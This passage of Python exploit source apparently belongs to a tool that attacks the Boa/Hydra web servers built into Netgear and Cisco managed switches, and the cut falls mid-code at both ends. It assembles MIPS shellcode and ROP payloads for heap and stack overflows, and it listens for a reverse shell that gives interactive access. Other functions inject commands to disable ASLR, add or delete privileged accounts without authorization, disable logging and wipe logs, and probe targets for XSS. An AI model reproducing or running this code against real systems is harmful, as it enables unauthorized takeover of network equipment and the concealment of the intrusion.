((struct.pack('>L',NOP) * 17) + struct.pack('>L',CRLF_NOP)) # # Parent # query_args += (struct.pack('>L',NOP) * 59) # # Restart Boa/Hydra to mitigate DoS # (From boa/Hydra binary == binary dependent) # query_args += struct.pack('>L',0x8f848018) # opcode [la $a0, 0x430000] query_args += struct.pack('>L',self.target['exploit']['heack_hydra_shell']['system']) # opcode, binary dependent [la $t9, system] query_args += struct.pack('>L',0x0320f809) # opcode [jalr $t9 ; system] query_args += struct.pack('>L',self.target['exploit']['heack_hydra_shell']['handler']) # opcode, binary dependent [addiu $a0, (.ascii "handler -c boa &" - 0x430000)] query_args += struct.pack('>L',CRLF_NOP) # # Parent Boa/Hydra will get SIGSEGV here, but we do not care as its restarted # URI = self.target['exploit']['heack_hydra_shell']['uri'] + (struct.pack('>L',NOP) * 247) + struct.pack('>L',JUMP) + struct.pack('>L',NOP) if self.target.get('hash_uri'): # NETGEAR Inc. (GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP) URI = self.target['exploit']['heack_hydra_shell']['uri'] URI += '&&' # align URI += self.netgear_hash(URI) # # Everything here is designed to have opcodes properly aligned in memory # MESSAGE = 'POST '+ URI + ' HTTP/1.1\r\n' # Important with 3x 0x20 between POST and URI to align opcodes at heap MESSAGE += 'Content-Length: 3133337\r\n' # Trick Boa/Hydra to think we will send more than 1MiB MESSAGE += 'Host:PWN' + '\r\n\r\n' # 'PWN' = Align opcodes in memory DEBUG("SEND",MESSAGE) MESSAGE += query_args log.success("Payload: {} bytes, $v0: {}".format(len(query_args),hex(len(query_args)) )) self.rport = int(self.rhost.split(":")[1]) self.rhost = self.rhost.split(":")[0] try: r = remote(self.rhost,self.rport,ssl=False) # HTTP Working, about 0x105c in $v0 #r = remote(self.rhost,self.rport,ssl=True) # HTTPS Not working, need minimium 0x4350 in $v0 except Exception as e: # Dirty but works self.event.set() remote("127.0.0.1",self.lport,ssl=False) return False try: r.send(MESSAGE) r.close() except Exception as e: # Dirty but works self.event.set() remote("127.0.0.1",self.lport,ssl=False) return False # # Access: N/A # Exploitable: N/A # # Start thread for exploting, create a listener on LPORT, wait for connection and stop the exploit thread when remote connected # def heack_shell(self, target): self.target = target if not self.target['exploit']['heack_cgi_shell']['vulnerable']: log.failure("Not listed as vulnerable") return False thread.start_new_thread(self.heack_exploit,("heack_exploit",self.target)) l = listen(port=lport) c = l.wait_for_connection() if not self.event.is_set(): self.event.set() # Success, got the connection, stop trying to exploit c.interactive(prompt = '# ') return True else: log.failure("Got internal connection to quit") c.close() return False # # Access: Unauthorized # # This will load shellcode on remote, used for both stack and heap. # stack: walk down in stack and hit the NOP sled to execute shellcode # heap: walk up on heap and hit the NOP sled to execute shellcode # def heack_exploit(self, threadName, target): self.threadName = threadName self.target = target time.sleep(2) # So this will be consistent after output from 'reverse_shell' shell = log.progress('shellcode') self.Workaround = self.target['exploit']['heack_cgi_shell']['workaround'] NOP = 0x2406ffff # NOP (li $a2, 0xFFFFFFFF) START = self.target['exploit']['heack_cgi_shell']['START'] if self.target['exploit']['heack_cgi_shell']['stack']: EXPR = (START > self.target['exploit']['heack_cgi_shell']['STOP']) # down on stack else: EXPR = (START < self.target['exploit']['heack_cgi_shell']['STOP']) # up on heap while EXPR: if self.Workaround: self.Workaround_logout() shell.status("{} searching".format(hex(START))) # # query_args = self.target['exploit']['heack_cgi_shell']['query'] query_args = query_args.replace("_ALIGN",self.random_string(self.target['exploit']['heack_cgi_shell']['align'])) query_args = query_args.replace("_USRNOP",struct.pack('>L',NOP) * self.target['exploit']['heack_cgi_shell']['usr_nop']) query_args = query_args.replace("_SHELLCODE",self.shellcode()) query_args = query_args.replace("_PWDNOP",struct.pack('>L',NOP) * self.target['exploit']['heack_cgi_shell']['pwd_nop']) # Filler only if self.target['login']['encryption'] == 'caesar': query_args = query_args.replace("_RA_START",struct.pack('>L',START + 0xc1c1c1c1)) # caesar bug? =] else: query_args = query_args.replace("_RA_START",struct.pack('>L',START)) try: URI = self.target['exploit']['heack_cgi_shell']['login_uri'] response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded #DEBUG("RECV",response.read()) #self.event.set() #r = remote("127.0.0.1",self.lport,ssl=False) #r.close() except Exception as e: if e.code == 502: pass else: shell.failure(str(e)) self.event.set() r = remote("127.0.0.1",self.lport,ssl=False) r.close() return False if self.event.is_set(): shell.success("{} <= found".format(hex(START))) # Its lovely when [stack] are rwxp :> return True if self.target['exploit']['heack_cgi_shell']['stack']: START = START - 0x30 # Walk down from top of stack else: START = START + 0xC00 # Walk up on heap (and bigger jumps) shell.failure("Not found, play with start/stop addresses?") # Little dirty but works self.event.set() r = remote("127.0.0.1",self.lport,ssl=False) r.close() return False # # Access: Unauthorized # def stack_add_account(self, target): self.target = target account = log.progress("Stack ADD Account") if not self.target['exploit']['stack_cgi_add_account']['vulnerable']: account.failure("Not listed as vulnerable") return False URI = self.target['exploit']['stack_cgi_add_account']['uri'] log.info("Credentials: {}/{}".format(str(self.credentials.split(':')[0]),str(self.credentials.split(':')[1]))) self.Workaround = self.target['exploit']['stack_cgi_add_account']['workaround'] if self.Workaround: self.Workaround_logout() try: time.sleep(1) query_args = self.target['exploit']['stack_cgi_add_account']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_add_account']['address'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_add_account']['account']) query_args = query_args.replace("USERNAME",str(self.credentials.split(':')[0])) query_args = query_args.replace("PASSWORD",str(self.credentials.split(':')[1])) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) account.failure(response.code) return False except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: account.success("success") if self.Workaround: self.Workaround_logout() pass else: account.failure(str(e)) return False # # Access: Unauthorized # def stack_del_account(self, target): self.target = target account = log.progress("Stack DEL Account") if not self.target['exploit']['stack_cgi_del_account']['vulnerable']: account.failure("Not listed as vulnerable") return False URI = self.target['exploit']['stack_cgi_del_account']['uri'] self.Workaround = self.target['exploit']['stack_cgi_del_account']['workaround'] if self.Workaround: self.Workaround_logout() try: time.sleep(1) query_args = self.target['exploit']['stack_cgi_del_account']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_del_account']['address'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_del_account']['account']) query_args = query_args.replace("USERNAME",self.credentials.split(':')[0]) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) account.failure(response.code) return False except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: account.success("success") if self.Workaround: self.Workaround_logout() pass else: account.failure(str(e)) return False # # Access: Unauthorized # def stack_cgi_diag(self, target): self.target = target ping = log.progress("Stack DIAG") if not self.target['exploit']['heack_cgi_shell']['stack']: ping.success("heap selected (ASLR == False)") return True if not self.target['exploit']['stack_cgi_diag']['vulnerable']: ping.failure("Not listed as vulnerable") return False ASLR_ENABLED = True # Always assume that ASLR is enabled, until verified URI = self.target['exploit']['stack_cgi_diag']['uri'] self.Workaround = self.target['exploit']['stack_cgi_diag']['workaround'] if self.Workaround: self.Workaround_logout() try: time.sleep(1) # Inject (disable ASLR) ping.status("Injecting to disable") query_args = self.target['exploit']['stack_cgi_diag']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_diag']['web_sys_ping_post'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_diag']['sys_ping_post_cmd']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.target['exploit']['stack_cgi_diag']['sys_ping_post_SIGSEGV']: if self.Workaround: self.Workaround_logout() ping.failure("Disable Injection: Failed!") return False except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: ping.status("Done") if self.Workaround: self.Workaround_logout() pass else: ping.failure(str(e)) return False if self.target['exploit']['stack_cgi_diag']['sys_ping_post_check']: try: time.sleep(1) # Inject (check ASLR) ping.status("Injecting to verify") query_args = self.target['exploit']['stack_cgi_diag']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_diag']['web_sys_ping_post'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_diag']['sys_ping_post_check']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.Workaround: self.Workaround_logout() ping.failure("Verify Injection: Failed!") except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: time.sleep(1) ping.status("Verifying ASLR") if self.Workaround: self.Workaround_logout() else: ping.failure(str(e)) return False try: time.sleep(1) URI = self.target['exploit']['stack_cgi_diag']['verify_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read().split() DEBUG("RECV",response) if response[0] == '0': ping.success("ASLR disabled") return True else: ping.failure("ASLR still enabled") return False except Exception as e: DEBUG("RECV",str(e)) if force: ping.success("Forcing... ASLR might been disabled") return True else: ping.failure(str(e)) log.failure("You can try with --force, some FW do not process correctly after ASLR been disabled") log.failure("or you can give --auth_shell a try instead") return False # # Access: Unauthorized # def stack_cgi_sntp(self, target): self.target = target SNTP = log.progress("Stack SNTP") if not self.target['exploit']['heack_cgi_shell']['stack']: SNTP.success("heap selected (ASLR == False)") return True if not self.target['exploit']['stack_cgi_sntp']['vulnerable']: SNTP.failure("Not listed as vulnerable") return False ASLR_ENABLED = True URI = self.target['exploit']['stack_cgi_sntp']['uri'] self.Workaround = self.target['exploit']['stack_cgi_sntp']['workaround'] if self.Workaround: self.Workaround_logout() try: time.sleep(1) # Enable SNTP SNTP.status("Enable SNTP") query_args = self.target['exploit']['stack_cgi_sntp']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_cmd_enable']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_SIGSEGV']: SNTP.failure("Enable SNTP: Failed!") return False if self.Workaround: self.Workaround_logout() except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: SNTP.status("SNTP Enabled") if self.Workaround: self.Workaround_logout() pass else: SNTP.failure(str(e)) return False try: time.sleep(1) # Inject SNTP (disable ASLR) SNTP.status("Injecting to disable") query_args = self.target['exploit']['stack_cgi_sntp']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_cmd']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.Workaround: self.Workaround_logout() SNTP.failure("Disable Injection: Failed!") return False except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: SNTP.status("Done") if self.Workaround: self.Workaround_logout() pass else: SNTP.failure(str(e)) return False if self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_check']: try: time.sleep(1) # Inject SNTP (check ASLR) SNTP.status("Injecting to verify") query_args = self.target['exploit']['stack_cgi_sntp']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_check']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.Workaround: self.Workaround_logout() SNTP.failure("Verify Injection: Failed!") return False except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: pass else: SNTP.failure(str(e)) return False SNTP.status("Verifying ASLR") if self.Workaround: self.Workaround_logout() try: time.sleep(1) URI = self.target['exploit']['stack_cgi_sntp']['verify_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read().split() DEBUG("RECV",response) if response[0] == '0': SNTP.success("ASLR disabled") ASLR_ENABLED = False else: SNTP.failure("ASLR Enabled") return False except Exception as e: DEBUG("RECV",str(e)) if force: SNTP.success("Forcing... ASLR might been disabled") else: SNTP.failure(str(e)) return False try: time.sleep(1) # Delete SNTP injection URI = self.target['exploit']['stack_cgi_sntp']['uri'] SNTP.status("Removing injection") query_args = self.target['exploit']['stack_cgi_sntp']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntpDel_set'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntpDel_set_cmd']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) SNTP.failure("Removing injection: Failed!") if self.Workaround: self.Workaround_logout() return False except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: SNTP.status("Done") if self.Workaround: self.Workaround_logout() pass else: SNTP.failure(str(e)) return False try: time.sleep(1) # Disable SNTP SNTP.status("Disable SNTP") query_args = self.target['exploit']['stack_cgi_sntp']['content'] query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set'] + 0x58000000)) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_cmd_disable']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_SIGSEGV']: SNTP.failure("Disable SNTP: Failed!") return False if self.Workaround: self.Workaround_logout() except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: SNTP.status("SNTP Disabled") if self.Workaround: self.Workaround_logout() pass else: SNTP.failure(str(e)) return False if not ASLR_ENABLED: SNTP.success("Success") return True else: SNTP.failure("ASLR Enabled: Failure") return False # # Access: Unauthorized # def stack_cgi_log(self, target): self.target = target self.Workaround = self.target['exploit']['stack_cgi_log']['workaround'] if self.Workaround: self.Workaround_logout() URI = self.target['exploit']['stack_cgi_log']['uri'] logging = log.progress("Stack LOG disable & clean") if not self.target['exploit']['stack_cgi_log']['vulnerable']: logging.failure("No logging on this switch (?)") return True try: # Disable logging time.sleep(1) logging.status("Trying to disable") query_args = self.target['exploit']['stack_cgi_log']['content'] query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_settings_set'] + 0x58000000) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_settings_set_cmd']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.target['exploit']['stack_cgi_log']['log_settings_set_SIGSEGV']: logging.failure("Disable: Failed!") return False if self.Workaround: self.Workaround_logout() except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: logging.status("Disabled") if self.Workaround: self.Workaround_logout() pass else: logging.failure(str(e)) return False try: # clean ram log time.sleep(1) logging.status("Trying to clean ramlog") query_args = self.target['exploit']['stack_cgi_log']['content'] query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_ramClear'] + 0x58000000) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_ramClear_cmd']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.target['exploit']['stack_cgi_log']['log_ramClear_SIGSEGV']: logging.failure("Clean RAM: Failed!") return False if self.Workaround: self.Workaround_logout() logging.status("Cleaned") except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: logging.status("Cleaned") if self.Workaround: self.Workaround_logout() pass else: logging.failure(str(e)) return False try: # clean file log time.sleep(1) logging.status("Trying to clean filelog") query_args = self.target['exploit']['stack_cgi_log']['content'] query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_fileClear'] + 0x58000000) ) # 0x58 will be overwritten query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_fileClear_cmd']) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded DEBUG("RECV",response.read()) if self.target['exploit']['stack_cgi_log']['log_fileClear_SIGSEGV']: logging.failure("Clean FILE: Failed!") return False if self.Workaround: self.Workaround_logout() logging.status("Cleaned") except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: logging.status("Cleaned") if self.Workaround: self.Workaround_logout() pass else: logging.failure(str(e)) return False if self.Workaround: self.Workaround_logout() logging.success("Success") return True # # Access: Unauthorized # def verify_target(self,target,check_all): self.target = target self.check_all = check_all self.headers['Content-Type'] = "multipart/form-data; boundary=-------" self.Workaround = self.target['exploit']['heack_cgi_shell']['workaround'] sorted_dict = OrderedDict(sorted(self.target['verify'].items(), key=lambda t: t[0])) # sorted by key for check in sorted_dict: if self.Workaround: self.Workaround_logout() # # If we will try exploit, verify only that CGI # if not self.check_all: check = self.target['exploit']['heack_cgi_shell']['cgi'] cgi = log.progress("{:.<30}".format(check)) if not len(self.target['verify'][check]['content']) == 0: if self.target['verify'][check]['Content-Type']: query_args = "Content-Type\n\n" + self.target['verify'][check]['content'] else: query_args = self.target['verify'][check]['content'] if not self.target['verify'][check]['safe']: cgi.success("Vulnerable ({})".format(self.target['verify'][check]['content'])) continue URI = self.target['verify'][check]['uri'] if target.get('hash_uri'): URI += self.netgear_hash(URI) try: if not len(self.target['verify'][check]['content']) == 0: DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded else: DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded if self.target['verify'][check]['response'] == 'json': result = json.loads(response.read()) DEBUG("RECV",result) if result['result'] == 1 and result['msg'] == "Invalid file format.": cgi.success("Vulnerable ({})".format(result['msg'])) if not self.check_all: return True else: cgi.failure("NOT Vulnerable") if not self.check_all: return False elif self.target['verify'][check]['response'] == 'xss': response = re.split('["?=&<>]',response.read()) # bummer to split out '<>'' DEBUG("RECV",response) count = 0 for content in range(0,len(response)): if response[content] == self.target['verify'][check]['content_check']: cgi.success("Vulnerable") if not self.check_all: return True else: # # Since we split out '<>' above, make sure to count in 'script' and '/script' # if response[content] == 'alert(XSS);' and response[content-1] == 'script' and response[content+1] == '/script': count += 1 if count: cgi.success("Vulnerable (XSS: {})".format(count)) if not self.check_all: return True else: cgi.failure("NOT Vulnerable") if not self.check_all: return False elif self.target['verify'][check]['response'] == 'html': response = re.split("['()<>\n:,.&=]",response.read()) DEBUG("RECV",response) for content in range(0,len(response)): if response[content] == self.target['verify'][check]['content_check'] or response[content] == 'Image CRC32 Error': cgi.success("Vulnerable ({})".format(response[content])) if not self.check_all: return True # # We checking what will be returned from the request # 1. The error message is correct # 2. LEN of our 'content' matching reported LEN from target # elif response[content] == 'errkey': if response[content+1] == self.target['verify'][check]['content_check'] and int(response[content+3]) == int(len(self.target['verify'][check]['content'])): cgi.success("Vulnerable ({})".format(response[content+1])) if not self.check_all: return True else: cgi.failure("NOT Vulnerable") if not self.check_all: return False elif self.target['verify'][check]['response'] == 'file': if self.target['verify'][check]['check_uri']: try: time.sleep(1) # Some checks needs to have some time URI = self.target['verify'][check]['check_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read() DEBUG("RECV",response) if response == self.target['verify'][check]['content_check']: cgi.success("Vulnerable ({})".format(response)) if not self.check_all: return True else: cgi.failure("NOT Vulnerable") if not self.check_all: return False except Exception as e: cgi.failure(str(e)) return False else: cgi.failure("Not vulnerable") if not self.check_all: return False cgi.failure("Not vulnerable") if not self.check_all: return False except Exception as e: DEBUG("RECV",str(e)) if e.code == 502: cgi.success("Vulnerable ({})".format(e)) if not self.check_all: return True pass else: cgi.failure(str(e)) return False return True # # Access: Unauthorized # def check_remote(self,etag): self.manualETag = etag remote = log.progress("Target") if self.manualETag: if self.manualETag == 'help': print "" remote.success("List of known targets") elif self.manualETag == 'info': print "" remote.success("Brief information of known targets") target = Vendor(self.manualETag).dict() if target: remote.success("{} ({} v{})".format(target['vendor'],target['model'],target['version'])) return target else: remote.failure("Unknown ({})".format(self.manualETag)) return False remote.status("Checking") URI = '/' DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) # encoded result = response.read().split() DEBUG("RECV",result) # # Use HTTP ETag to identify remote vendor and FW version, to choose right code/gadgets # self.ETag = response.info().get('ETag').replace('"','') DEBUG("RECV",response.info()) target = Vendor(self.ETag).dict() if not target: remote.failure("Unknown ({})".format(self.ETag)) return False if target: remote.success("{} ({} v{})".format(target['vendor'],target['model'],target['version'])) if target['info_leak']: info_leak = log.progress("Model") URI = target['info_leak_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) # encoded response = response.read() if target['info_leak_JSON']: result = json.loads(response) DEBUG("RECV",response) tmp = result.get('data') if tmp.get('description'): info_leak.success(result['data']['description']) elif tmp.get('productName'): info_leak.success(result['data']['productName']) elif tmp.get('title'): info_leak.success(result['data']['title']) else: info_leak.failure("Failed") else: response = re.split('[()<>\n:,.;=" ]',response) DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == 'modelName': info_leak.success(response[check+2]) return target info_leak.failure("Not found") print response return target # # Access: Unauthorized # def add_user(self,target): self.target = target add = log.progress("Adding credentials") if not self.target['exploit']['priv15_account']['vulnerable']: add.failure("Not listed as vulnerable") if self.target['exploit']['stack_cgi_add_account']['vulnerable']: return self.stack_add_account(self.target) else: return False USERNAME = self.credentials.split(':')[0] if USERNAME == 'admin' or USERNAME == 'cisco': log.failure("[bad boy] Username '{}' shall not be changed!".format(USERNAME)) return False if target['exploit']['priv15_account']['encryption'] == 'md5': PASSWORD = self.md5hash(self.credentials.split(':')[1], base64encode=True) elif target['exploit']['priv15_account']['encryption'] == 'clear': PASSWORD = self.credentials.split(':')[1] elif target['exploit']['priv15_account']['encryption'] == 'nopassword': PASSWORD = 'nopassword' # dummy else: log.failure("No password type") return False query_args = self.target['exploit']['priv15_account']['content'] query_args = query_args.replace('USERNAME',USERNAME) query_args = query_args.replace('PASSWORD',PASSWORD) log.info("Credentials: {}/{}".format(USERNAME,PASSWORD)) try: add.status("Trying...") URI = target['exploit']['priv15_account']['add_uri'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read().split() DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == 'init(){fileLoadWait();' or response[check] == 'id="reason">Merging' or response[check] == '(tmpStr.indexOf("FlashWriteDone")': add.success("Success") time.sleep(5) # Wait a bit so the account will be merged return True except Exception as e: add.failure("error {}".format(e)) return False add.failure("Failed") print response return False # # Access: Authenticated # def del_user(self, target): self.target = target if not self.target['exploit']['priv15_account']['vulnerable']: remove.failure("Not listed as vulnerable") if self.target['exploit']['stack_cgi_del_account']['vulnerable']: return self.stack_del_account(self.target) else: return False USERNAME = self.credentials.split(':')[0] remove = log.progress("Remove credentials for {}".format(USERNAME)) if USERNAME == 'admin' or USERNAME == 'cisco': remove.failure("[bad boy] Username '{}' shall not be deleted!".format(USERNAME)) return False if self.check_XSID(self.target): self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target) try: remove.status("Trying...") URI = target['exploit']['priv15_account']['del_uri'] if len(self.target['exploit']['priv15_account']['del_query']) >= 1: query_args = self.target['exploit']['priv15_account']['del_query'] query_args = query_args.replace('USERNAME',USERNAME) DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded result = response else: URI = URI.replace('USERNAME',USERNAME) DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded result = response response = response.read() DEBUG("RECV",response) if not self.target['exploit']['priv15_account']['json']: if result.code == 200 and len(response) == 0: remove.success("Success") return True response = response.split("'") DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == ': The user is not exist!!<br>' or response[check] == 'Error String': remove.failure("User do not exist") self.logout(self.target) return False remove.failure("Failed") self.logout(self.target) return False else: result = json.loads(response.read()) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success': remove.success("Success") return True except Exception as e: log.info("error {}".format(e)) return False remove.failure("Failed") print result return False # # Access: Authenticated # def logout(self, target): self.target = target logout = log.progress("Logging out") if not self.target['login']['vulnerable']: logout.failure("Not listed as vulnerable") return False logout.status("Trying...") if self.check_XSID(self.target): self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target) URI = self.target['login']['logout_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) # encoded response = response.read() if not self.target['login']['json']: response = response.split() DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == 'function goback(){' or response[check] == 'onload="goback();">': logout.success("Success") return True logout.failure("Failed") return False else: result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'success' or result['status'] == 'ok' and result['msgType'] == 'save_success': logout.success("Success") return True else: logout.failure("Failed") print result return False # # Access: Authenticated # def login(self,target): self.target = target login = log.progress("Login") if not self.target['login']['vulnerable']: login.failure("Not listed as vulnerable") return False # # login # try: USERNAME = self.credentials.split(':')[0] if self.target['login']['encryption'] == 'rsa': PASSWORD = self.RSA_Password(self.credentials.split(':')[1]) elif self.target['login']['encryption'] == 'caesar': PASSWORD = self.caesar_encode(self.credentials.split(':')[1]) elif self.target['login']['encryption'] == 'encode': PASSWORD = self.obfuscation_encode(self.credentials.split(':')[1]) elif self.target['login']['encryption'] == 'clear': PASSWORD = self.credentials.split(':')[1] else: login.failure("No login password matching") return False query_args = self.target['login']['query'] query_args = query_args.replace('USERNAME',USERNAME) query_args = query_args.replace('PASSWORD',PASSWORD) URI = self.target['login']['login_uri'] DEBUG("SEND",(URI, query_args)) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded response = response.read() if not self.target['login']['json']: response = response.split() DEBUG("RECV",response) for check in range(0,len(response)): if response[check] == 'top.location.replace("/cgi-bin/dispatcher.cgi?cmd=1")' or response[check] == 'href="/cgi-bin/dispatcher.cgi?cmd=5890': login.success("Success") return True elif response[check] == 'window.location.replace("/cgi-bin/dispatcher.cgi?cmd=3");': login.success("Already logged in") return True elif response[check] == 'top.location.replace("/cgi-bin/dispatcher.cgi?cmd=5")': login.failure("Failed") return False elif len(response) == check + 1: login.failure("Not supported device") print response return False else: result = json.loads(response) DEBUG("RECV",result) if result['status'] == 'ok' and result['msgType'] == 'save_success' or result['status'] == 'ok' and result['msgType'] == 'success': login.status("Verifying") URI = self.target['login']['status_uri'] DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read() result = json.loads(response) DEBUG("RECV",result) if result['data']['status'] == 'ok': login.success("Success") return True elif result['data']['status'] == 'authing': time.sleep(2) # try one more time URI = self.target['login']['status_uri'] login.status("One more time...") DEBUG("SEND",URI) response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded response = response.read() result = json.loads(response) DEBUG("RECV",result) if result['data']['status'] == 'ok': login.success("Success") return True else: login.failure("Failed (Authing)") return False elif result['data']['status'] == 'fail': login.failure("Failed {}".format(result['data']['failReason'])) return False except Exception as e: login.failure("error {}".format(e)) return False # # Access: Authenticated # def disable_clean_log(self, target): self.target = target clear_log = log.progress("Logging disable & clean") if not self.target['log']['vulnerable']: clear_log.failure("Not listed as vulnerable") return False if self.check_XSID(self.target): self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target) try: 